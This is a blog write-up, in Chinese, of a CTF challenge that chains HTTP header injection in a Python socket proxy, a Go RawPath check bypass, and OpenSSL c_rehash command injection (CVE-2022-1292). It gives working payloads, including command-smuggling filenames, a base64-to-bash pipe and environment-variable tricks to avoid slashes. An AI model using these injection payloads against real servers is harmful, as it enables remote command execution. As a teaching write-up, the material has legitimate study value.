author:白帽酱
题目给了后端源码 一道题利用了前不久出现的一个鸡肋洞 openssl c_rehash(CVE-2022-1292) 题目还是比较有意思的
项目分析
项目后端是pyhton + go
pyhton的服务直接暴露给用户
pyhton服务 一共有4个路由
/getcrt 生成一个x509证书
/createlink 调用 c_rehash 创建证书链接
/proxy 通过代理访问go服务
@app.route('/', methods=['GET', 'POST']) def index(): return render_template("index.html")
@app.route('/getcrt', methods=['GET', 'POST']) def upload(): Country = request.form.get("Country", "CN") Province = request.form.get("Province", "a") City = request.form.get("City", "a") OrganizationalName = request.form.get("OrganizationalName", "a") CommonName = request.form.get("CommonName", "a") EmailAddress = request.form.get("EmailAddress", "a") return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)
@app.route('/createlink', methods=['GET']) def info(): json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()} return json.dumps(json_data)
@app.route('/proxy', methods=['GET']) def proxy(): uri = request.form.get("uri", "/") client = socket.socket() client.connect(('localhost', 8887)) msg = f'''GET {uri} HTTP/1.1 Host: test_api_host User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ''' client.send(msg.encode()) data = client.recv(2048) client.close() return data.decode()
|
go后端有一个admin路由
用于重命名证书文件
func admin(c *gin.Context) { staticPath := "/app/static/crt/" oldname := c.DefaultQuery("oldname", "") newname := c.DefaultQuery("newname", "") if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") { c.String(500, "error") return } if c.Request.URL.RawPath != "" && c.Request.Host == "admin" { err := os.Rename(staticPath+oldname, staticPath+newname) if err != nil { return } c.String(200, newname) return }
c.String(200, "no"+c.Request.URL.RawPath+","+c.Request.Host ) }
|
解题
c_rehash
题目中出现了 c_rehash
c_rehash是openssl中的一个用perl编写的脚本工具
用于批量创建证书等文件 hash命名的符号链接
最近c_rehash 出了个命令注入漏洞 (CVE-2022-1292)
经过搜索网上并没有公开的exp (可能因为这个漏洞非常鸡肋)
只能通过diff进行分析
https://github.com/openssl/openssl/commit/7c33270707b568c524a8ef125fe611a8872cb5e8
这个就是漏洞的commit
很容易看出 文件名这里过滤不严 没有过滤反引号就直接把文件名拼接到了命令里
所以只要在文件名中使用反引号就可以执行任意命令
继续上前追溯
sub hash_dir { my %hashlist; print "Doing $_[0]\n"; chdir $_[0]; opendir(DIR, "."); my @flist = sort readdir(DIR); closedir DIR; if ( $removelinks ) { foreach (grep {/^[\da-f]+\.r{0,1}\d+$/} @flist) { if (-l $_) { print "unlink $_" if $verbose; unlink $_ || warn "Can't unlink $_, $!\n"; } } } FILE: foreach $fname (grep {/\.(pem)|(crt)|(cer)|(crl)$/} @flist) { my ($cert, $crl) = check_file($fname); if (!$cert && !$crl) { print STDERR "WARNING: $fname does not contain a certificate or CRL: skipping\n"; next; } link_hash_cert($fname) if ($cert); link_hash_crl($fname) if ($crl); } }
|
发现在执行命令前会检查 文件后缀名.(pem)|(crt)|(cer)|(crl) 和文件内容
文件内容必须包含证书或者是吊销列表才能通过检查
到这里可以整理出这个鸡肋洞的条件了
利用条件
- 执行c_rehash 目标目录下文件可控
- 文件后缀符合要求
- 文件内容必须包含证书或者是吊销列表
- 文件名可控
题目中生成证书的功能可以创建一个满足要求的文件
go server
接下来看go的部分
为了实现可控的文件名 我们需要调用go的重命名功能
go的路由在重命名前有两个校验
c.Request.URL.RawPath != “” && c.Request.Host == “admin”
首先需要绕过这两个验证
url注入http头
Request.Host就是请求的host头
在python的请求包中host头是固定的 (test_api_host)
这里要想办法让go后端认为host值是admin
python 在代理请求时直接使用了socket 发送raw数据包
在数据包{uri}处没有过滤
所以我们可以直接在uri注入一个host头来替换原先的头
注入之后数据包就变成了这样
GET / HTTP/1.1 Host: admin User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
HTTP/1.1 Host: test_api_host User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
|
这样就绕过了host头的校验
go的RawPath特性
通过阅读go net库的源码
我发现在go中会对原始url进行反转义操作(URL解码)
如果反转义后再次转义的url与原始url不同 那么RawPath会被设置为原始url 反之置为空
注释中贴心的给出了示例和详细的功能介绍
所以只要我们把url中的任意一个斜杠进行url编码 就可以绕过这个检查了
构造利用链
接下来就是构造这个简单的利用链
第一步
请求 /getcrt 路由 生成一个证书 返回证书路径
第二步
请求 /proxy 修改证书名为恶意文件名
这里有一些坑点
linux文件名虽然可以包大部分可打印字符
但是有一个除外 那就是斜杠
不能使用斜杠这限制了命令执行的内容
下面是我在这次ctf尝试的解决方案
在这一步我尝试了几个小时
目标环境有些玄学的问题
使用base64 编码
构造 echo Y2F0IC9mbGFnID4gZHNmZ2g= |base64 -d|bash
尝试使用base64绕过
本地测试利用成功
在目标机器多次尝试均失败 (可能是目标docker环境问题 缺少base64工具)
使用截断环境变量
linux有很多预制的系统环境变量
比如PATH SHELL
bash 可以通过${变量名:偏移:长度} 简单的截取环境变量值
这里我们使用SHELL环境变量的开头第一个字符来替代斜杠
${SHELL:0:1}
这种方法本地测试成功
都是在目标机器多次尝试还是失败
使用现有环境变量
构造命令 env >qweqwe
获取到了目标机器的环境变量值
运气非常好 OLDPWD的值刚好为我们所需要的 /
最终使用了这个方法成功读取到了flag
第三步
请求 /createlink 触发 c_rehash RCE
ls $OLDPWD >qweqwe
成功列出了根目录的内容
然后执行 cat ${OLDPWD}flag >jnyghj
读取flag
uri=/admin/rename?oldname=d205092e-c641-423e-82f0-e96f583f3c38.crt&newname=0cat ${OLDPWD}flag >jnyghj
.crt
总结
因为之前分析过c_rehash这个鸡肋的洞 当时看了一眼标题就猜到了整个利用链
没想到还是在构造payload上花了太多时间
(由于利用特殊性 这个漏洞在实战应该不太可能遇见)
版权声明:本文首发于
白帽酱的博客,转载请注明出处!